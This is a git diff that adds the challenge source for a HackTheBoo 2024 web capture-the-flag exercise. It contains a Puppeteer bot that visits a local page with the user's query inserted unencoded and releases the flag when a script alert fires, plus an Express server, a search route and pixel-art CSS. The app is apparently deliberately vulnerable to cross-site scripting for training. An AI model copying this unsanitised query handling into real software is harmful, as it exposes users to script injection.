added official hacktheboo2024 writeups
|
@ -0,0 +1,78 @@
|
|||
const puppeteer = require('puppeteer');
|
||||
const fs = require('fs');
|
||||
let io;
|
||||
let isBotRunning = false;
|
||||
let browser; // Keep the browser instance
|
||||
const flag = fs.readFileSync('/flag.txt', 'utf8');
|
||||
|
||||
// Initialize the browser once when the application starts
|
||||
browser = puppeteer.launch({
|
||||
headless: true,
|
||||
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium-browser',
|
||||
args: [
|
||||
'--no-sandbox',
|
||||
'--disable-setuid-sandbox',
|
||||
'--disable-gpu',
|
||||
'--disable-dev-shm-usage',
|
||||
'--disable-extensions',
|
||||
'--disable-background-timer-throttling',
|
||||
'--disable-backgrounding-occluded-windows',
|
||||
'--disable-renderer-backgrounding'
|
||||
],
|
||||
});
|
||||
|
||||
const visit = async (query) => {
|
||||
if (isBotRunning) {
|
||||
console.log('Bot is already running. Skipping new request.');
|
||||
return;
|
||||
}
|
||||
|
||||
isBotRunning = true;
|
||||
|
||||
let page;
|
||||
|
||||
try {
|
||||
// Open a new page for each request
|
||||
page = await (await browser).newPage();
|
||||
|
||||
console.log('New page opened successfully!');
|
||||
|
||||
// Navigate to the URL
|
||||
await page.goto(`http://127.0.0.1:1337?q=${query}`, { waitUntil: 'domcontentloaded' });
|
||||
|
||||
let alertHandled = false;
|
||||
|
||||
// Check for alert dialogs using Puppeteer's page.on('dialog') event listener
|
||||
page.on('dialog', async (dialog) => {
|
||||
await dialog.accept();
|
||||
alertHandled = true;
|
||||
if (io) {
|
||||
io.emit('flag', { message: 'Alert detected!', flag: flag.trim() });
|
||||
}
|
||||
await page.close(); // Close the page after handling the alert
|
||||
isBotRunning = false;
|
||||
});
|
||||
|
||||
// Use setTimeout to wait for the alert to appear
|
||||
setTimeout(async () => {
|
||||
if (!alertHandled) {
|
||||
await page.close(); // Close the page if no alert was detected
|
||||
isBotRunning = false;
|
||||
}
|
||||
}, 500); // 500ms wait before closing the page if no alert is handled
|
||||
|
||||
} catch (e) {
|
||||
console.error(`Failed to navigate: ${e.message}`);
|
||||
if (page) {
|
||||
await page.close(); // Ensure the page is closed on error
|
||||
}
|
||||
isBotRunning = false;
|
||||
}
|
||||
};
|
||||
|
||||
// Setter function to initialize io
|
||||
const setIo = (socketIoInstance) => {
|
||||
io = socketIoInstance;
|
||||
};
|
||||
|
||||
module.exports = { visit, setIo };
|
49
htb/hacktheboo2024/web/web_phantom_script/challenge/index.js
Normal file
|
@ -0,0 +1,49 @@
|
|||
const express = require("express");
|
||||
const http = require("http");
|
||||
const socketIo = require("socket.io");
|
||||
const app = express();
|
||||
const path = require("path");
|
||||
const nunjucks = require("nunjucks");
|
||||
const routes = require("./routes");
|
||||
const { setIo } = require("./helpers/botHelper"); // Import the setter function
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
nunjucks.configure("views", {
|
||||
autoescape: true,
|
||||
express: app,
|
||||
});
|
||||
|
||||
app.set("views", "./views");
|
||||
app.use("/static", express.static(path.resolve("static")));
|
||||
app.set("etag", false);
|
||||
|
||||
app.use(routes());
|
||||
|
||||
app.all("*", (req, res) => {
|
||||
return res.status(404).send({
|
||||
message: "404 page not found",
|
||||
});
|
||||
});
|
||||
|
||||
// Create an HTTP server
|
||||
const server = http.createServer(app);
|
||||
|
||||
// Initialize socket.io
|
||||
const io = socketIo(server);
|
||||
|
||||
setIo(io);
|
||||
|
||||
io.on("connection", (socket) => {
|
||||
console.log("Socket.io client connected");
|
||||
|
||||
socket.on("message", (message) => {
|
||||
console.log("Received:", message);
|
||||
});
|
||||
|
||||
// Example of emitting an event to the client
|
||||
socket.emit("welcome", "Welcome to the WebSocket server!");
|
||||
});
|
||||
|
||||
// Start the server and WebSocket server
|
||||
server.listen(1337, "0.0.0.0", () => console.log("Listening on port 1337"));
|
|
@ -0,0 +1,22 @@
|
|||
{
|
||||
"name": "web_saga_scrolls",
|
||||
"version": "1.0.0",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"dev": "nodemon -e html,js,css index.js",
|
||||
"start": "node index.js"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "Xclow3n",
|
||||
"license": "ISC",
|
||||
"description": "",
|
||||
"dependencies": {
|
||||
"express": "^4.19.2",
|
||||
"nunjucks": "^3.2.4",
|
||||
"puppeteer": "^23.6.0",
|
||||
"socket.io": "^4.7.5"
|
||||
},
|
||||
"devDependencies": {
|
||||
"nodemon": "^3.1.4"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
const express = require("express");
|
||||
const fs = require("fs");
|
||||
const router = express.Router();
|
||||
const { visit } = require("../helpers/botHelper");
|
||||
|
||||
router.get("/", (req, res) => {
|
||||
return res.render("home.html");
|
||||
});
|
||||
|
||||
router.post("/search", (req, res) => {
|
||||
const { query } = req.body;
|
||||
|
||||
if (query) {
|
||||
try {
|
||||
visit(query);
|
||||
|
||||
return res.status(200).json({ message: "Bot triggered successfully." });
|
||||
} catch (err) {
|
||||
return res.status(500).json({ message: "Error triggering bot.", error: err.message });
|
||||
}
|
||||
} else {
|
||||
return res.status(400).json({ message: "No search query provided." });
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = () => {
|
||||
return router;
|
||||
};
|
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 196 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 17 KiB |
|
@ -0,0 +1,972 @@
|
|||
/*
|
||||
Import the font stylesheet.
|
||||
If not supported you can add backup via:
|
||||
<link href='https://fonts.googleapis.com/css?family=Press+Start+2P' rel='stylesheet' type='text/css'>
|
||||
inside your html file.
|
||||
*/
|
||||
@import url("https://fonts.googleapis.com/css?family=Press+Start+2P");
|
||||
/**
|
||||
* Customized scrollbars
|
||||
*/
|
||||
/* to get pixelated images (nearest-neighbor filter) on all browsers */
|
||||
.rpgui-pixelated {
|
||||
-ms-interpolation-mode: nearest-neighbor;
|
||||
image-rendering: -webkit-optimize-contrast;
|
||||
image-rendering: -webkit-crisp-edges;
|
||||
image-rendering: -moz-crisp-edges;
|
||||
image-rendering: -o-crisp-edges;
|
||||
image-rendering: pixelated; }
|
||||
|
||||
/* unselectable text */
|
||||
.rpgui-noselect {
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-khtml-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none; }
|
||||
|
||||
/* center things */
|
||||
.rpgui-center {
|
||||
text-align: center;
|
||||
align-content: center; }
|
||||
|
||||
/* rotate object 90 degrees */
|
||||
.rpgui-rotate-90 {
|
||||
/* rotate 90 degrees */
|
||||
-webkit-transform: rotate(90deg);
|
||||
-moz-transform: rotate(90deg);
|
||||
-o-transform: rotate(90deg);
|
||||
-ms-transform: rotate(90deg);
|
||||
transform: rotate(90deg);
|
||||
/* rotate from center-left side */
|
||||
-ms-transform-origin: 0% 50%;
|
||||
/* IE 9 */
|
||||
-webkit-transform-origin: 0% 50%;
|
||||
/* Chrome, Safari, Opera */
|
||||
transform-origin: 0% 50%; }
|
||||
|
||||
/**
|
||||
* Styling for buttons
|
||||
*/
|
||||
/* button style */
|
||||
.rpgui-button {
|
||||
/* hide button default stuff */
|
||||
background-color: Transparent;
|
||||
background-repeat: no-repeat;
|
||||
border: none;
|
||||
overflow: hidden;
|
||||
outline: none;
|
||||
/* background */
|
||||
background: url("img/button.png") no-repeat no-repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center;
|
||||
background-size: 100% 100%;
|
||||
/* font size */
|
||||
font-size: 1.0em;
|
||||
/* default size and display */
|
||||
max-width: 100%;
|
||||
min-width: 140px;
|
||||
height: 60px;
|
||||
display: inline-block;
|
||||
/* padding */
|
||||
padding-left: 35px;
|
||||
padding-right: 35px; }
|
||||
|
||||
/* button hover */
|
||||
.rpgui-button.hover,
|
||||
.rpgui-button:hover {
|
||||
background-image: url("img/button-hover.png"); }
|
||||
|
||||
/* button clicked */
|
||||
.rpgui-button.down,
|
||||
.rpgui-button:active {
|
||||
background-image: url("img/button-down.png"); }
|
||||
|
||||
/* golden button stuff */
|
||||
.rpgui-button.golden p {
|
||||
display: inline-block; }
|
||||
|
||||
/* golden button style */
|
||||
.rpgui-button.golden {
|
||||
/* hide button default stuff */
|
||||
background-color: Transparent;
|
||||
background-repeat: no-repeat;
|
||||
border: none;
|
||||
overflow: hidden;
|
||||
outline: none;
|
||||
/* background */
|
||||
background: url("img/button-golden.png") no-repeat no-repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center;
|
||||
background-size: 100% 80%;
|
||||
/* default size and display */
|
||||
max-width: 100%;
|
||||
min-width: 140px;
|
||||
height: 60px;
|
||||
display: inline-block;
|
||||
/* padding */
|
||||
padding-top: 5px;
|
||||
padding-left: 35px;
|
||||
padding-right: 35px;
|
||||
overflow: visible; }
|
||||
|
||||
/* button hover */
|
||||
.rpgui-button.golden.hover,
|
||||
.rpgui-button.golden:hover {
|
||||
background-image: url("img/button-golden-hover.png"); }
|
||||
|
||||
/* button clicked */
|
||||
.rpgui-button.golden.down,
|
||||
.rpgui-button.golden:active {
|
||||
background-image: url("img/button-golden-down.png"); }
|
||||
|
||||
.rpgui-button.golden:before {
|
||||
white-space: nowrap;
|
||||
display: inline-block;
|
||||
content: "";
|
||||
width: 34px;
|
||||
display: block;
|
||||
height: 110%;
|
||||
background: transparent url("img/button-golden-left.png") no-repeat right center;
|
||||
background-size: 100% 100%;
|
||||
margin: 0 0 0 0;
|
||||
left: 0px;
|
||||
float: left;
|
||||
margin-left: -46px;
|
||||
margin-top: -5%; }
|
||||
|
||||
.rpgui-button.golden:after {
|
||||
white-space: nowrap;
|
||||
display: block;
|
||||
content: "";
|
||||
width: 34px;
|
||||
height: 110%;
|
||||
background: transparent url("img/button-golden-right.png") no-repeat left center;
|
||||
background-size: 100% 100%;
|
||||
margin: 0 0 0 0;
|
||||
right: 0px;
|
||||
float: right;
|
||||
margin-right: -46px;
|
||||
margin-top: -5%; }
|
||||
|
||||
/*
|
||||
.rpgui-button.golden:hover:before {
|
||||
|
||||
background-image: url('img/button-golden-left-hover.png');
|
||||
}
|
||||
|
||||
.rpgui-button.golden:hover:after {
|
||||
|
||||
background-image: url('img/button-golden-right-hover.png');
|
||||
}
|
||||
*/
|
||||
/**
|
||||
* style for checkboxes
|
||||
*/
|
||||
/* basic checkbox */
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox {
|
||||
display: none; }
|
||||
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox + label {
|
||||
background: url("img/checkbox-off.png") no-repeat;
|
||||
line-height: 24px;
|
||||
display: inline-block;
|
||||
background-size: auto 100%;
|
||||
padding-left: 34px;
|
||||
height: 24px;
|
||||
margin-top: 10px;
|
||||
margin-bottom: 10px; }
|
||||
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox:checked + label {
|
||||
background: url("img/checkbox-on.png") no-repeat;
|
||||
line-height: 24px;
|
||||
display: inline-block;
|
||||
background-size: auto 100%;
|
||||
padding-left: 34px;
|
||||
height: 24px; }
|
||||
|
||||
/* golden checkbox */
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox.golden + label {
|
||||
background: url("img/checkbox-golden-off.png") no-repeat;
|
||||
background-size: auto 100%; }
|
||||
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox.golden:checked + label {
|
||||
background: url("img/checkbox-golden-on.png") no-repeat;
|
||||
background-size: auto 100%; }
|
||||
|
||||
/**
|
||||
* global content styling
|
||||
*/
|
||||
/* game div with background image*/
|
||||
.rpgui-content {
|
||||
padding: 0 0 0 0;
|
||||
margin: 0 0 0 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
left: 0px;
|
||||
top: 0px;
|
||||
position: fixed;
|
||||
overflow: hidden;
|
||||
font-size: 0.8em; }
|
||||
|
||||
/* general rules to apply on anything inside the content */
|
||||
.rpgui-content * {
|
||||
/* remove outline effect for input elements etc */
|
||||
outline: none;
|
||||
/* prevent dragging */
|
||||
user-drag: none;
|
||||
-webkit-user-drag: none;
|
||||
/* prevent text selecting */
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-khtml-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
/* pixelated enlargement filter (to keep the pixel-art style when enlarging pictures) */
|
||||
-ms-interpolation-mode: nearest-neighbor;
|
||||
image-rendering: -webkit-optimize-contrast;
|
||||
image-rendering: -webkit-crisp-edges;
|
||||
image-rendering: -moz-crisp-edges;
|
||||
image-rendering: -o-crisp-edges;
|
||||
image-rendering: pixelated;
|
||||
/* default font */
|
||||
font-family: 'Press Start 2P', cursive; }
|
||||
|
||||
/**
|
||||
* customized divs (containers) and framed objects (background and frame image).
|
||||
*/
|
||||
/* game div without background image*/
|
||||
.rpgui-container {
|
||||
/* position style and default z */
|
||||
position: fixed;
|
||||
z-index: 10;
|
||||
overflow: show; }
|
||||
|
||||
/* game div with background image*/
|
||||
.rpgui-container.framed {
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-image-source: url("img/border-image.png");
|
||||
border-image-repeat: repeat;
|
||||
border-image-slice: 6 6 6 6;
|
||||
border-image-width: 18px;
|
||||
border-width: 15px;
|
||||
padding: 12px;
|
||||
/* internal border */
|
||||
box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
/* background */
|
||||
background: url("img/background-image.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* game div with golden background image*/
|
||||
.rpgui-container.framed-golden {
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-image-source: url("img/border-image-golden.png");
|
||||
border-image-repeat: repeat;
|
||||
border-image-slice: 4 4 4 4;
|
||||
border-image-width: 18px;
|
||||
border-width: 15px;
|
||||
padding: 12px;
|
||||
/* internal border */
|
||||
box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
/* background */
|
||||
background: url("img/background-image-golden.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* game div with golden2 background image*/
|
||||
.rpgui-container.framed-golden-2 {
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-image-source: url("img/border-image-golden2.png");
|
||||
border-image-repeat: repeat;
|
||||
border-image-slice: 8 8 8 8;
|
||||
border-image-width: 18px;
|
||||
border-width: 15px;
|
||||
padding: 12px;
|
||||
/* internal border */
|
||||
box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
/* background */
|
||||
background: url("img/background-image-golden2.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* game div with soft grey background image*/
|
||||
.rpgui-container.framed-grey {
|
||||
position: relative;
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-image-source: url("img/border-image-grey.png");
|
||||
border-image-repeat: repeat;
|
||||
border-image-slice: 3 3 3 3;
|
||||
border-image-width: 7px;
|
||||
border-width: 7px;
|
||||
padding: 12px;
|
||||
/* internal border */
|
||||
box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
/* background */
|
||||
background: url("img/background-image-grey.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/**
|
||||
* different cursor graphics
|
||||
*/
|
||||
/* default cursor important */
|
||||
/* this rule is for when you specifically request this cursor class */
|
||||
.rpgui-cursor-default {
|
||||
cursor: url("img/cursor/default.png"), auto !important; }
|
||||
|
||||
/* default cursor, not important, for all elements without any other rule. */
|
||||
.rpgui-content,
|
||||
label {
|
||||
cursor: url("img/cursor/default.png"), auto; }
|
||||
|
||||
/* pointer / hand cursor important */
|
||||
/* this rule is for when you specifically request this cursor class */
|
||||
.rpgui-cursor-point,
|
||||
.rpgui-cursor-point * {
|
||||
cursor: url("img/cursor/point.png") 10 0, auto !important; }
|
||||
|
||||
/* pointer / hand cursor, not important, for all elements that have pointer by-default */
|
||||
.rpgui-content a,
|
||||
.rpgui-content button,
|
||||
.rpgui-button,
|
||||
.rpgui-slider-container,
|
||||
.rpgui-content input[type=radio].rpgui-radio + label,
|
||||
.rpgui-list-imp,
|
||||
.rpgui-dropdown-imp,
|
||||
.rpgui-content input[type=checkbox].rpgui-checkbox + label {
|
||||
cursor: url("img/cursor/point.png") 10 0, auto; }
|
||||
|
||||
/* for input / text selection important */
|
||||
/* this rule is for when you specifically request this cursor class */
|
||||
.rpgui-cursor-select,
|
||||
.rpgui-cursor-select * {
|
||||
cursor: url("img/cursor/select.png") 10 0, auto !important; }
|
||||
|
||||
/* for input / text selection, not important, for all elements that have pointer by-default */
|
||||
.rpgui-cursor-select,
|
||||
.rpgui-content input,
|
||||
.rpgui-content textarea {
|
||||
cursor: url("img/cursor/select.png") 10 0, auto; }
|
||||
|
||||
/* for grabbing stuff */
|
||||
/* this rule is for when you specifically request this cursor class */
|
||||
.rpgui-cursor-grab-open,
|
||||
.rpgui-cursor-grab-open * {
|
||||
cursor: url("img/cursor/grab-open.png") 10 0, auto !important; }
|
||||
|
||||
/* for grabbing stuff */
|
||||
/* this rule is for when you specifically request this cursor class */
|
||||
.rpgui-cursor-grab-close,
|
||||
.rpgui-cursor-grab-close * {
|
||||
cursor: url("img/cursor/grab-close.png") 10 0, auto !important; }
|
||||
|
||||
/**
|
||||
* Customized dropdown with rpgui design.
|
||||
*/
|
||||
/* dropdown box implemented with list (see rpgui-dropdown.js for details) */
|
||||
/* note! this class rule affect both the dropdown header and the list elements! */
|
||||
.rpgui-dropdown-imp,
|
||||
.rpgui-dropdown {
|
||||
/* font */
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
color: white;
|
||||
/* default size */
|
||||
min-height: 40px;
|
||||
margin-top: 0px;
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-width: 7px 7px 7px 7px;
|
||||
-moz-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
-webkit-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
-o-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
/* background */
|
||||
background: url("img/select-background-image.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* dropdown options list */
|
||||
ul.rpgui-dropdown-imp {
|
||||
padding: 0 0 0 0 !important;
|
||||
z-index: 100; }
|
||||
|
||||
/* note! this affect only the dropdown header */
|
||||
/* shows the currently selected value from select element */
|
||||
.rpgui-content .rpgui-dropdown-imp-header {
|
||||
color: white !important;
|
||||
min-height: 22px !important;
|
||||
padding: 5px 10px 0 10px !important;
|
||||
margin: 0 0 0 0 !important;
|
||||
position: relative !important; }
|
||||
|
||||
/* dropdown options */
|
||||
.rpgui-dropdown-imp li {
|
||||
/* font */
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
color: white;
|
||||
height: 16px;
|
||||
/* remove the dot */
|
||||
list-style-type: none;
|
||||
/* padding */
|
||||
padding-top: 6px;
|
||||
padding-bottom: 6px;
|
||||
padding-left: 6px;
|
||||
/* background */
|
||||
background: url("img/select-background-image.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* dropdown options hover */
|
||||
.rpgui-dropdown-imp li:hover {
|
||||
color: yellow; }
|
||||
|
||||
/* dropdown hover */
|
||||
.rpgui-dropdown-imp:hover {
|
||||
color: yellow; }
|
||||
|
||||
/**
|
||||
* hr styling
|
||||
*/
|
||||
/* rpgui hr */
|
||||
.rpgui-content hr {
|
||||
display: block;
|
||||
border: 0px;
|
||||
height: 10px;
|
||||
background: url("img/hr.png") repeat-x top left; }
|
||||
|
||||
/* rpgui golden hr */
|
||||
.rpgui-content hr.golden {
|
||||
display: block;
|
||||
border: 0px;
|
||||
height: 10px;
|
||||
background: url("img/hr-golden.png") no-repeat top left;
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/**
|
||||
* Icon styles.
|
||||
*/
|
||||
.rpgui-icon {
|
||||
display: inline-block;
|
||||
background-size: 100% 100%;
|
||||
background-repeat: no-repeat;
|
||||
width: 64px;
|
||||
height: 64px; }
|
||||
|
||||
.rpgui-icon.sword {
|
||||
background-image: url("img/icons/sword.png"); }
|
||||
|
||||
.rpgui-icon.shield {
|
||||
background-image: url("img/icons/shield.png"); }
|
||||
|
||||
.rpgui-icon.exclamation {
|
||||
background-image: url("img/icons/exclamation.png"); }
|
||||
|
||||
.rpgui-icon.potion-red {
|
||||
background-image: url("img/icons/potion-red.png"); }
|
||||
|
||||
.rpgui-icon.potion-green {
|
||||
background-image: url("img/icons/potion-green.png"); }
|
||||
|
||||
.rpgui-icon.potion-blue {
|
||||
background-image: url("img/icons/potion-blue.png"); }
|
||||
|
||||
.rpgui-icon.weapon-slot {
|
||||
background-image: url("img/icons/weapon-slot.png"); }
|
||||
|
||||
.rpgui-icon.shield-slot {
|
||||
background-image: url("img/icons/shield-slot.png"); }
|
||||
|
||||
.rpgui-icon.armor-slot {
|
||||
background-image: url("img/icons/armor-slot.png"); }
|
||||
|
||||
.rpgui-icon.helmet-slot {
|
||||
background-image: url("img/icons/helmet-slot.png"); }
|
||||
|
||||
.rpgui-icon.ring-slot {
|
||||
background-image: url("img/icons/ring-slot.png"); }
|
||||
|
||||
.rpgui-icon.potion-slot {
|
||||
background-image: url("img/icons/potion-slot.png"); }
|
||||
|
||||
.rpgui-icon.magic-slot {
|
||||
background-image: url("img/icons/magic-slot.png"); }
|
||||
|
||||
.rpgui-icon.shoes-slot {
|
||||
background-image: url("img/icons/shoes-slot.png"); }
|
||||
|
||||
.rpgui-icon.empty-slot {
|
||||
background-image: url("img/icons/empty-slot.png"); }
|
||||
|
||||
/**
|
||||
* input styling
|
||||
*/
|
||||
/* input/textarea input */
|
||||
.rpgui-content input,
|
||||
.rpgui-content textarea {
|
||||
/* set size and colors */
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 0.9em;
|
||||
line-height: 32px;
|
||||
background: #4e4a4e;
|
||||
max-width: 100%;
|
||||
width: 100%;
|
||||
padding-left: 10px;
|
||||
/* for ie */
|
||||
min-height: 30px;
|
||||
/* enable text selecting */
|
||||
-webkit-touch-callout: text;
|
||||
-webkit-user-select: text;
|
||||
-khtml-user-select: text;
|
||||
-moz-user-select: text;
|
||||
-ms-user-select: text;
|
||||
user-select: text;
|
||||
-webkit-tap-highlight-color: rgba(0, 0, 0, 0.5); }
|
||||
|
||||
/* textarea extra rules */
|
||||
.rpgui-content textarea {
|
||||
line-height: 22px;
|
||||
padding-top: 7px;
|
||||
height: 80px;
|
||||
resize: none; }
|
||||
|
||||
/* selection highlight */
|
||||
.rpgui-content input::selection,
|
||||
.rpgui-content textarea::selection {
|
||||
background: rgba(0, 0, 0, 0.5); }
|
||||
|
||||
.rpgui-content input::-moz-selection,
|
||||
.rpgui-content textarea::-moz-selection {
|
||||
background: rgba(0, 0, 0, 0.5); }
|
||||
|
||||
/* dropdown box implemented with list (see rpgui-dropdown.js for details) */
|
||||
/* note! this class rule affect both the dropdown header and the list elements! */
|
||||
.rpgui-list-imp {
|
||||
/* font */
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
color: white;
|
||||
/* default size */
|
||||
min-height: 40px;
|
||||
margin-top: 0px;
|
||||
/* scrollers */
|
||||
overflow-x: hidden;
|
||||
overflow-y: scroll;
|
||||
/* border */
|
||||
border-style: solid;
|
||||
border-width: 7px 7px 7px 7px;
|
||||
-moz-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
-webkit-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
-o-border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
border-image: url("img/select-border-image.png") 10% repeat repeat;
|
||||
/* background */
|
||||
background: url("img/select-background-image.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* dropdown options list */
|
||||
ul.rpgui-list-imp {
|
||||
padding: 0 0 0 0 !important;
|
||||
z-index: 100; }
|
||||
|
||||
/* dropdown options */
|
||||
.rpgui-list-imp li {
|
||||
/* font */
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
color: white;
|
||||
height: 16px;
|
||||
margin-left: 5px !important;
|
||||
/* remove the dot */
|
||||
list-style-type: none;
|
||||
/* padding */
|
||||
padding-top: 6px;
|
||||
padding-bottom: 6px;
|
||||
padding-left: 6px;
|
||||
/* background */
|
||||
background: url("img/select-background-image.png") repeat repeat;
|
||||
background-clip: padding-box;
|
||||
background-origin: padding-box;
|
||||
background-position: center; }
|
||||
|
||||
/* list options hover */
|
||||
.rpgui-list-imp li:hover {
|
||||
color: yellow; }
|
||||
|
||||
/* list hover */
|
||||
.rpgui-list-imp:hover {
|
||||
color: yellow; }
|
||||
|
||||
.rpgui-list-imp .rpgui-selected {
|
||||
background: rgba(0, 0, 0, 0.3); }
|
||||
|
||||
/**
|
||||
* Paragraphs and headers while inside an rpgui container.
|
||||
*/
|
||||
/* default gui header */
|
||||
.rpgui-content h1 {
|
||||
/* color and border */
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.14em;
|
||||
/* center text */
|
||||
text-align: center;
|
||||
/* padding */
|
||||
padding: 0 0 0 0;
|
||||
margin: 7px 7px 17px 7px; }
|
||||
|
||||
/* default gui header2 */
|
||||
.rpgui-content h2 {
|
||||
/* color and border */
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.25em;
|
||||
/* center text */
|
||||
text-align: center;
|
||||
/* padding */
|
||||
padding: 0 0 0 0;
|
||||
margin: 7px 7px 17px 7px; }
|
||||
|
||||
/* default gui header3 */
|
||||
.rpgui-content h3 {
|
||||
/* color and border */
|
||||
color: white;
|
||||
font-weight: 1;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.15em;
|
||||
text-decoration: underline;
|
||||
/* center text */
|
||||
text-align: center;
|
||||
/* padding */
|
||||
padding: 0 0 0 0;
|
||||
margin: 7px 7px 17px 7px; }
|
||||
|
||||
/* default gui header4 */
|
||||
.rpgui-content h4 {
|
